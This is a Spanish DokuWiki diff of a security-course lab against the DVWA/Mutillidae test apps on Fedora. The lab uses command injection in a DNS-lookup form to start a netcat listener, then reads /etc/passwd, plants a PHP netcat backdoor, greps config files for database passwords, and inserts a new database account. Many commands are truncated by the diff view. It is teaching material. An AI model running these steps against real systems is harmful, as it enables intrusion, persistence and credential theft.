sad:fedora14:p3
Diferencias
Muestra las diferencias entre dos versiones de la página.
Ambos lados, revisión anteriorRevisión previaPróxima revisión | Revisión previa | ||
sad:fedora14:p3 [2018/01/29 18:35] – José Manuel Guallar | sad:fedora14:p3 [2019/01/04 13:18] (actual) – editor externo 127.0.0.1 | ||
---|---|---|---|
Línea 35: | Línea 35: | ||
* BT tiene 192.168.153.43 | * BT tiene 192.168.153.43 | ||
- | 1 | + | {{: |
Vamos como el ejercicio anterior a http:// | Vamos como el ejercicio anterior a http:// | ||
Línea 41: | Línea 41: | ||
OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup | OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup | ||
- | 2 | + | |
A continuación, | A continuación, | ||
Línea 47: | Línea 47: | ||
Instrucciones: | Instrucciones: | ||
<code basH> | <code basH> | ||
- | www.colegiomontessori.com; | + | www.colegiomontessori.com; |
</ | </ | ||
Línea 55: | Línea 55: | ||
Esto permitirá que dos procesos se conecten a netcat. | Esto permitirá que dos procesos se conecten a netcat. | ||
- | <code bash> | + | |
- | nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444. | + | **nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. |
- | </ | + | |
+ | |||
+ | {{: | ||
+ | {{: | ||
**NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | ||
Línea 71: | Línea 74: | ||
Escribir las siguientes sentencias en el BackTrack | Escribir las siguientes sentencias en el BackTrack | ||
- | Reemplazar | + | Reemplazar |
- | **nc 192.168.1.111 4444** | + | <code bash> |
+ | root@bt: | ||
+ | </ | ||
+ | |||
+ | {{: | ||
Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | ||
- | **hostname** | + | '' |
Este es el nombre de host del servidor que aloja DVWA. | Este es el nombre de host del servidor que aloja DVWA. | ||
- | **whoami** | + | '' |
Es decir, ¿con quién me conecto? | Es decir, ¿con quién me conecto? | ||
- | **pwd** | + | '' |
directorio de trabajo | directorio de trabajo | ||
- | **uname -a** | + | '' |
- | muestra informacion del sistema | + | muestra informacion del sistema |
- | **cat /etc/passwd > passwd.txt** | + | '' |
crea passwd.txt localizado en / | crea passwd.txt localizado en / | ||
- | ls -l $PWD/ | + | |
+ | '' | ||
lista el fichero passwd.txt | lista el fichero passwd.txt | ||
+ | |||
+ | {{: | ||
**volvemos al Firefox y abrimos otra pestaña y escribimos** | **volvemos al Firefox y abrimos otra pestaña y escribimos** | ||
- | http:// | + | '' |
+ | |||
+ | {{: | ||
====== Creación de una puerta trasera (PHP) ====== | ====== Creación de una puerta trasera (PHP) ====== | ||
Línea 109: | Línea 121: | ||
Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | ||
- | Ahora podemos crear un archivo | + | Ahora podemos crear un script |
- | + | ||
- | Vamos a crear un script php que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup. | + | |
<code bash> | <code bash> | ||
Línea 121: | Línea 131: | ||
</ | </ | ||
- | http://ip-fedora/ | + | {{:sad:fedora:p3:07.png?500|}} |
- | Ejecutamos | + | '' |
- | http:// | + | Ejecutamos **nc_connect.php** |
+ | |||
+ | '' | ||
veremos que en la web pone conectando..... | veremos que en la web pone conectando..... | ||
Línea 133: | Línea 145: | ||
<code bash> | <code bash> | ||
- | root@bt:~# nc 192.168.1.111 3333 | + | root@bt:~# nc 192.168.153.39 3333 |
whoami | whoami | ||
ps -eaf | egrep ' | ps -eaf | egrep ' | ||
Línea 139: | Línea 151: | ||
</ | </ | ||
- | las dos primeras lineas es la ejecución del netcat via nslookup | + | {{: |
+ | {{: | ||
+ | |||
+ | Las dos primeras lineas es la ejecución del netcat via nslookup | ||
las ultimas lineas el la puerta trasera | las ultimas lineas el la puerta trasera | ||
Línea 147: | Línea 162: | ||
primero vamos a ver nuestro directorio de trabajo | primero vamos a ver nuestro directorio de trabajo | ||
- | **pwd** | + | '' |
- | luego vamos a contar los scripts | + | luego vamos a contar los scripts\\ |
- | **find * -name " | + | '' |
- | despues vamos a contar los archivos | + | despues vamos a contar los archivos |
- | **find * -name " | + | '' |
- | lo siguiente sera buscar en cada archivo include (.inc) las palabras " | + | lo siguiente sera buscar en cada archivo include (.inc) las palabras " |
+ | |||
+ | {{: | ||
<code bash> | <code bash> | ||
Línea 170: | Línea 187: | ||
**egrep -i ' | **egrep -i ' | ||
+ | |||
+ | {{: | ||
<code bash> | <code bash> | ||
Línea 175: | Línea 194: | ||
</ | </ | ||
+ | {{: | ||
ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php | ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php | ||
Línea 182: | Línea 202: | ||
find * -name " | find * -name " | ||
</ | </ | ||
+ | {{: | ||
El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. | El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. | ||
Línea 190: | Línea 211: | ||
</ | </ | ||
- | vamos a investigar el contenido de la tabla accounts | + | {{: |
+ | |||
+ | Vamos a investigar el contenido de la tabla accounts | ||
primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas | primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas | ||
Línea 199: | Línea 222: | ||
</ | </ | ||
- | ahora vamos a crear un nuevo usuario en la tabla | + | {{: |
+ | |||
+ | ===== ahora vamos a crear un nuevo usuario en la tabla ===== | ||
<code bash> | <code bash> | ||
- | echo " | + | echo " |
echo " | echo " | ||
</ | </ | ||
+ | {{: | ||
+ | |||
'' | '' | ||
- | Tienes que realizar los siguientes pasos en el terminal de netcat | + | Tienes que realizar los siguientes pasos en el terminal de netcat |
<code bash> | <code bash> |
sad/fedora14/p3.1517250912.txt.gz · Última modificación: (editor externo)